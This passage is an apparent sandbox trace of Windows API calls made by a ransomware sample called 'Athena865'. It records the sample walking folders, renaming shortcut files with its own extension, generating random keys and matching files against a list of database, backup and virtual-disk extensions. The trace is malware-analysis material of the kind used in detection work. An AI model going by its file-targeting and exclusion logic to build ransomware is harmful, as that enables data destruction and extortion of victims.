Flags=0x8, Size=0x6c) returned 0x52d5e8 [0048.384] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0048.384] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528208 [0048.385] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0048.385] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528208 | out: hHeap=0x4f0000) returned 1 [0048.385] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0048.385] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50aba8 [0048.385] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0048.385] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50aba8 | out: hHeap=0x4f0000) returned 1 [0048.385] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0048.385] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0048.385] CloseHandle (hObject=0x17c) returned 1 [0048.385] CloseHandle (hObject=0x154) returned 1 [0048.387] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0048.387] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0048.387] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0048.387] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7df21ca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7df21ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7df21ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x8d1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Google Chrome.lnk", cAlternateFileName="GOOGLE~1.LNK")) returned 1 [0048.387] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.387] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.387] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2=".") returned 1 [0048.387] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2="..") returned 1 [0048.387] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2="windows") returned -1 [0048.387] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2="bootmgr") returned 1 [0048.387] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2="temp") returned -1 [0048.387] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2="pagefile.sys") returned -1 [0048.387] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2="boot") returned 1 [0048.387] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2="ids.txt") returned -1 [0048.387] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2="ntuser.dat") returned -1 [0048.387] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2="perflogs") returned -1 [0048.387] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2="MSBuild") returned -1 [0048.387] lstrlenW (lpString="Google Chrome.lnk") returned 17 [0048.387] lstrcpyW (in: lpString1=0x241e876, lpString2="Google Chrome.lnk" | out: lpString1="Google Chrome.lnk") returned="Google Chrome.lnk" [0048.387] lstrlenW (lpString="Google Chrome.lnk") returned 17 [0048.387] lstrlenW (lpString="Athena865") returned 9 [0048.387] lstrcmpiW (lpString1="hrome.lnk", lpString2="Athena865") returned 1 [0048.387] lstrlenW (lpString=".dll") returned 4 [0048.387] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2=".dll") returned 1 [0048.387] lstrlenW (lpString=".lnk") returned 4 [0048.388] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2=".lnk") returned 1 [0048.388] lstrlenW (lpString=".ini") returned 4 [0048.388] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2=".ini") returned 1 [0048.388] lstrlenW (lpString=".sys") returned 4 [0048.388] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2=".sys") returned 1 [0048.388] lstrlenW (lpString="Google Chrome.lnk") returned 17 [0048.388] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Desktop\\Google Chrome.lnk.Athena865") returned 50 [0048.388] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Desktop\\Google Chrome.lnk" (normalized: "c:\\programdata\\desktop\\google chrome.lnk"), lpNewFileName="C:\\ProgramData\\Desktop\\Google Chrome.lnk.Athena865" (normalized: "c:\\programdata\\desktop\\google chrome.lnk.athena865"), dwFlags=0x1) returned 1 [0048.388] CreateFileW (lpFileName="C:\\ProgramData\\Desktop\\Google Chrome.lnk.Athena865" (normalized: "c:\\programdata\\desktop\\google chrome.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0048.388] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2257) returned 1 [0048.389] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0048.389] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0048.389] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0048.389] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0048.389] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0048.389] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.390] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbe0, lpName=0x0) returned 0x17c [0048.390] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbe0) returned 0x100000 [0048.390] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0048.390] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0048.391] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.391] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0048.391] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0048.391] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528208 [0048.391] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0048.391] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528208 | out: hHeap=0x4f0000) returned 1 [0048.391] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0048.391] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50aba8 [0048.391] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0048.391] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50aba8 | out: hHeap=0x4f0000) returned 1 [0048.391] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0048.391] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0048.391] CloseHandle (hObject=0x17c) returned 1 [0048.391] CloseHandle (hObject=0x154) returned 1 [0048.393] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0048.393] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0048.393] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0048.393] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc5e2da0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc5e2da0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0048.393] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0048.393] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a09a40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x485, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla Firefox.lnk", cAlternateFileName="MOZILL~1.LNK")) returned 1 [0048.393] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.393] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.393] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2=".") returned 1 [0048.393] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2="..") returned 1 [0048.393] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2="windows") returned -1 [0048.393] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2="bootmgr") returned 1 [0048.393] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2="temp") returned -1 [0048.393] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2="pagefile.sys") returned -1 [0048.393] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2="boot") returned 1 [0048.393] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2="ids.txt") returned 1 [0048.393] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2="ntuser.dat") returned -1 [0048.393] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2="perflogs") returned -1 [0048.394] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2="MSBuild") returned -1 [0048.394] lstrlenW (lpString="Mozilla Firefox.lnk") returned 19 [0048.394] lstrcpyW (in: lpString1=0x241e876, lpString2="Mozilla Firefox.lnk" | out: lpString1="Mozilla Firefox.lnk") returned="Mozilla Firefox.lnk" [0048.394] lstrlenW (lpString="Mozilla Firefox.lnk") returned 19 [0048.394] lstrlenW (lpString="Athena865") returned 9 [0048.394] lstrcmpiW (lpString1="refox.lnk", lpString2="Athena865") returned 1 [0048.394] lstrlenW (lpString=".dll") returned 4 [0048.394] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2=".dll") returned 1 [0048.394] lstrlenW (lpString=".lnk") returned 4 [0048.394] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2=".lnk") returned 1 [0048.394] lstrlenW (lpString=".ini") returned 4 [0048.394] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2=".ini") returned 1 [0048.394] lstrlenW (lpString=".sys") returned 4 [0048.394] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2=".sys") returned 1 [0048.394] lstrlenW (lpString="Mozilla Firefox.lnk") returned 19 [0048.394] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Desktop\\Mozilla Firefox.lnk.Athena865") returned 52 [0048.394] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Desktop\\Mozilla Firefox.lnk" (normalized: "c:\\programdata\\desktop\\mozilla firefox.lnk"), lpNewFileName="C:\\ProgramData\\Desktop\\Mozilla Firefox.lnk.Athena865" (normalized: "c:\\programdata\\desktop\\mozilla firefox.lnk.athena865"), dwFlags=0x1) returned 1 [0048.395] CreateFileW (lpFileName="C:\\ProgramData\\Desktop\\Mozilla Firefox.lnk.Athena865" (normalized: "c:\\programdata\\desktop\\mozilla firefox.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0048.395] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1157) returned 1 [0048.395] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0048.395] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0048.395] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0048.395] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0048.396] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0048.396] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.396] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x790, lpName=0x0) returned 0x17c [0048.396] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x790) returned 0x100000 [0048.397] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0048.397] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0048.397] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.397] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0048.397] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0048.397] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528208 [0048.397] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0048.397] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528208 | out: hHeap=0x4f0000) returned 1 [0048.398] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0048.398] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50aba8 [0048.398] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0048.398] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50aba8 | out: hHeap=0x4f0000) returned 1 [0048.398] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0048.398] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0048.398] CloseHandle (hObject=0x17c) returned 1 [0048.398] CloseHandle (hObject=0x154) returned 1 [0048.402] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0048.402] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0048.402] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0048.402] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a09a40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x485, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla Firefox.lnk", cAlternateFileName="MOZILL~1.LNK")) returned 0 [0048.402] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0048.402] ReleaseMutex (hMutex=0xec) returned 1 [0048.402] CloseHandle (hObject=0xec) returned 1 [0048.402] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Documents" | out: lpString1="C:\\ProgramData\\Documents") returned="C:\\ProgramData\\Documents" [0048.402] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x527fa8 | out: hHeap=0x4f0000) returned 1 [0048.402] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50db20 | out: hHeap=0x4f0000) returned 1 [0048.402] lstrlenW (lpString="C:\\ProgramData\\Documents") returned 24 [0048.402] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\7036814D7C495F6DC9E68D42D6DD4E60") returned 0xec [0048.402] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0048.402] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Documents" | out: lpString1="C:\\ProgramData\\Documents") returned="C:\\ProgramData\\Documents" [0048.403] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0048.403] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\documents\\how to back your files.exe"), bFailIfExists=1) returned 0 [0048.403] CreateFileW (lpFileName="C:\\ProgramData\\Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\documents\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0048.403] GetLastError () returned 0x0 [0048.403] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0048.403] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x532d08 [0048.403] ReadFile (in: hFile=0xf4, lpBuffer=0x532d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x532d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0048.404] CloseHandle (hObject=0xf4) returned 1 [0048.404] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0048.404] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0048.404] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Documents\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc5e2da0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc5e2da0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0048.404] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.405] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.405] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0048.405] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc5e2da0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc5e2da0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.405] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.405] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.405] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0048.405] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0048.405] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28697d55, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28697d55, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x116, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0048.405] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.405] lstrcmpiW (lpString1="desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.405] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1 [0048.405] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1 [0048.405] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1 [0048.405] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1 [0048.405] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1 [0048.405] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1 [0048.405] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1 [0048.405] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1 [0048.405] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1 [0048.405] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1 [0048.405] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1 [0048.405] lstrlenW (lpString="desktop.ini") returned 11 [0048.405] lstrcpyW (in: lpString1=0x241e87a, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0048.405] lstrlenW (lpString="desktop.ini") returned 11 [0048.405] lstrlenW (lpString="Athena865") returned 9 [0048.405] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0048.405] lstrlenW (lpString=".dll") returned 4 [0048.405] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0048.405] lstrlenW (lpString=".lnk") returned 4 [0048.405] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0048.405] lstrlenW (lpString=".ini") returned 4 [0048.405] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0048.405] lstrlenW (lpString=".sys") returned 4 [0048.406] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0048.406] lstrlenW (lpString="desktop.ini") returned 11 [0048.406] lstrlenW (lpString="bak") returned 3 [0048.406] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0048.406] lstrlenW (lpString="ba_") returned 3 [0048.406] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0048.406] lstrlenW (lpString="dbb") returned 3 [0048.406] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0048.406] lstrlenW (lpString="vmdk") returned 4 [0048.406] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0048.406] lstrlenW (lpString="rar") returned 3 [0048.406] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0048.406] lstrlenW (lpString="zip") returned 3 [0048.406] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0048.406] lstrlenW (lpString="tgz") returned 3 [0048.406] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0048.406] lstrlenW (lpString="vbox") returned 4 [0048.406] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0048.406] lstrlenW (lpString="vdi") returned 3 [0048.406] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0048.406] lstrlenW (lpString="vhd") returned 3 [0048.406] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0048.406] lstrlenW (lpString="vhdx") returned 4 [0048.406] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0048.406] lstrlenW (lpString="avhd") returned 4 [0048.406] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0048.406] lstrlenW (lpString="db") returned 2 [0048.406] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0048.406] lstrlenW (lpString="db2") returned 3 [0048.406] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0048.406] lstrlenW (lpString="db3") returned 3 [0048.406] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0048.406] lstrlenW (lpString="dbf") returned 3 [0048.406] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0048.407] lstrlenW (lpString="mdf") returned 3 [0048.407] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0048.407] lstrlenW (lpString="mdb") returned 3 [0048.407] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0048.407] lstrlenW (lpString="sql") returned 3 [0048.407] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0048.407] lstrlenW (lpString="sqlite") returned 6 [0048.407] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1 [0048.407] lstrlenW (lpString="sqlite3") returned 7 [0048.407] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1 [0048.407] lstrlenW (lpString="sqlitedb") returned 8 [0048.407] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1 [0048.407] lstrlenW (lpString="xml") returned 3 [0048.407] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0048.407] lstrlenW (lpString="$er") returned 3 [0048.407] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0048.407] lstrlenW (lpString="4dd") returned 3 [0048.407] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0048.407] lstrlenW (lpString="4dl") returned 3 [0048.407] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0048.407] lstrlenW (lpString="^^^") returned 3 [0048.407] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0048.407] lstrlenW (lpString="abs") returned 3 [0048.407] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0048.407] lstrlenW (lpString="abx") returned 3 [0048.407] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0048.407] lstrlenW (lpString="accdb") returned 5 [0048.407] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1 [0048.407] lstrlenW (lpString="accdc") returned 5 [0048.407] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1 [0048.407] lstrlenW (lpString="accde") returned 5 [0048.407] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1 [0048.407] lstrlenW (lpString="accdr") returned 5 [0048.407] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1 [0048.407] lstrlenW (lpString="accdt") returned 5 [0048.408] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1 [0048.408] lstrlenW 